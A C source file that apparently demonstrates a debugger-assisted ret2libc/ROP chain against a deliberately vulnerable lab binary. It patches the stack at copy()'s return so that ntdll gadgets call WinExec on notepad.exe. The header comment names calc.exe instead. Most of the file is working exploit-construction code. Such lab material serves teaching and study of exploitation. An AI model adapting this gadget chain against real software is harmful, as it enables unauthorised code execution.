// Debugger-assisted ret2libc for bof_noASLR_noCANARY.exe (x86-64, DEP always on for x64).
//
// copy() does strcpy(buffer, argv[1]); a plain strcpy-delivered payload can carry
// at most ONE 8-byte pointer (every usermode x64 address has a null top byte, and
// strcpy stops at the first \0). We need 3 pointers (two ntdll gadgets + WinExec),
// so instead we launch the target as our own debuggee, let the harmless placeholder
// argv[1] overflow the saved return address as usual, then - right before the `ret`
// in copy() executes - patch the stack ourselves via WriteProcessMemory, which has
// no null-byte restriction at all.
//
// Stack layout written at BUF_ADDR (buffer's address, fixed since ASLR is off):
//   [0..7]   "calc.exe"
//   [8]      0x00
//   [56..63] &(pop rcx; ret)            <- overwritten saved return address
//   [64..71] BUF_ADDR                   <- popped into RCX  (&"calc.exe")
//   [72..79] &(pop rdx; pop r11; ret)
//   [80..87] 1                          <- popped into RDX  (SW_SHOWNORMAL)
//   [88..95] 0                          <- popped into R11  (unused)
//   [96..103]&WinExec                   <- final ret target

#include <windows.h>
#include <stdio.h>
#include <string.h>

#define TARGET_EXE   "bof_noASLR_noCANARY.exe"
#define RET_INSN_ADDR ((LPVOID)(ULONG_PTR)0x000000014000729dULL)
#define BUF_ADDR      ((ULONG_PTR)0x0000000000014fe80ULL)
#define RET_OFFSET    56

// RVAs inside ntdll.dll (constant across reboots; only ntdll's load base moves)
#define POP_RCX_RET_RVA         0x1a853
#define POP_RDX_POP_R11_RET_RVA 0x8cc27

int main(void) {
    char placeholder[71];
    memset(placeholder, 'A', 70);
    placeholder[70] = '\0';

    char cmdline[256];
    snprintf(cmdline, sizeof(cmdline), "%s %s", TARGET_EXE, placeholder);

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
                         DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return 1;
    }

    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    HMODULE hK32   = GetModuleHandleA("kernel32.dll");
    if (!hNtdll || !hK32) {
        printf("[-] failed to resolve module handles\n");
        return 1;
    }

    ULONG_PTR ntdllBase    = (ULONG_PTR)hNtdll;
    ULONG_PTR popRcxRet    = ntdllBase + POP_RCX_RET_RVA;
    ULONG_PTR popRdxR11Ret = ntdllBase + POP_RDX_POP_R11_RET_RVA;
    ULONG_PTR winExec      = (ULONG_PTR)GetProcAddress(hK32, "WinExec");

    printf("[*] ntdll base:      0x%p\n", (void*)ntdllBase);
    printf("[*] pop rcx;ret:     0x%p\n", (void*)popRcxRet);
    printf("[*] pop rdx;r11;ret: 0x%p\n", (void*)popRdxR11Ret);
    printf("[*] WinExec:         0x%p\n", (void*)winExec);

    BYTE origByte = 0;
    SIZE_T bytesIO;
    BOOL patched = FALSE;
    DEBUG_EVENT dbg;

    while (WaitForDebugEvent(&dbg, INFINITE)) {
        DWORD contStatus = DBG_CONTINUE;

        if (dbg.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) {
            ReadProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO);
            BYTE int3 = 0xCC;
            WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &int3, 1, &bytesIO);
            FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1);
            if (dbg.u.CreateProcessInfo.hFile) CloseHandle(dbg.u.CreateProcessInfo.hFile);
        }
        else if (dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) {
            EXCEPTION_RECORD *er = &dbg.u.Exception.ExceptionRecord;

            if (!patched && er->ExceptionCode == EXCEPTION_BREAKPOINT &&
                er->ExceptionAddress == RET_INSN_ADDR) {

                patched = TRUE;
                printf("[+] hit breakpoint at copy()'s ret, patching stack...\n");

                WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO);
                FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1);

                CONTEXT ctx;
                memset(&ctx, 0, sizeof(ctx));
                ctx.ContextFlags = CONTEXT_ALL;
                GetThreadContext(pi.hThread, &ctx);
                ctx.Rip = (DWORD64)(ULONG_PTR)RET_INSN_ADDR;
                SetThreadContext(pi.hThread, &ctx);

                const char *cmd = "notepad.exe";
                BYTE chain[104];
                memset(chain, 0, sizeof(chain));
                memcpy(chain, cmd, strlen(cmd) + 1);

                ULONG_PTR *p = (ULONG_PTR*)(chain + RET_OFFSET);
                p[0] = popRcxRet;
                p[1] = BUF_ADDR;
                p[2] = popRdxR11Ret;
                p[3] = 1;
                p[4] = 0;
                p[5] = winExec;

                WriteProcessMemory(pi.hProcess, (LPVOID)BUF_ADDR, chain, sizeof(chain), &bytesIO);
                FlushInstructionCache(pi.hProcess, (LPVOID)BUF_ADDR, sizeof(chain));

                printf("[+] chain injected (%zu bytes written), resuming...\n", (size_t)bytesIO);
                ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE);
                continue;
            }
        }
        else if (dbg.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) {
            printf("[*] target exited, code=%lu\n", dbg.u.ExitProcess.dwExitCode);
            ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE);
            break;
        }

        ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, contStatus);
    }

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    Sleep(2000); // give WinExec's spawned child a moment to finish before we (and our job tree) exit
    return 0;
}
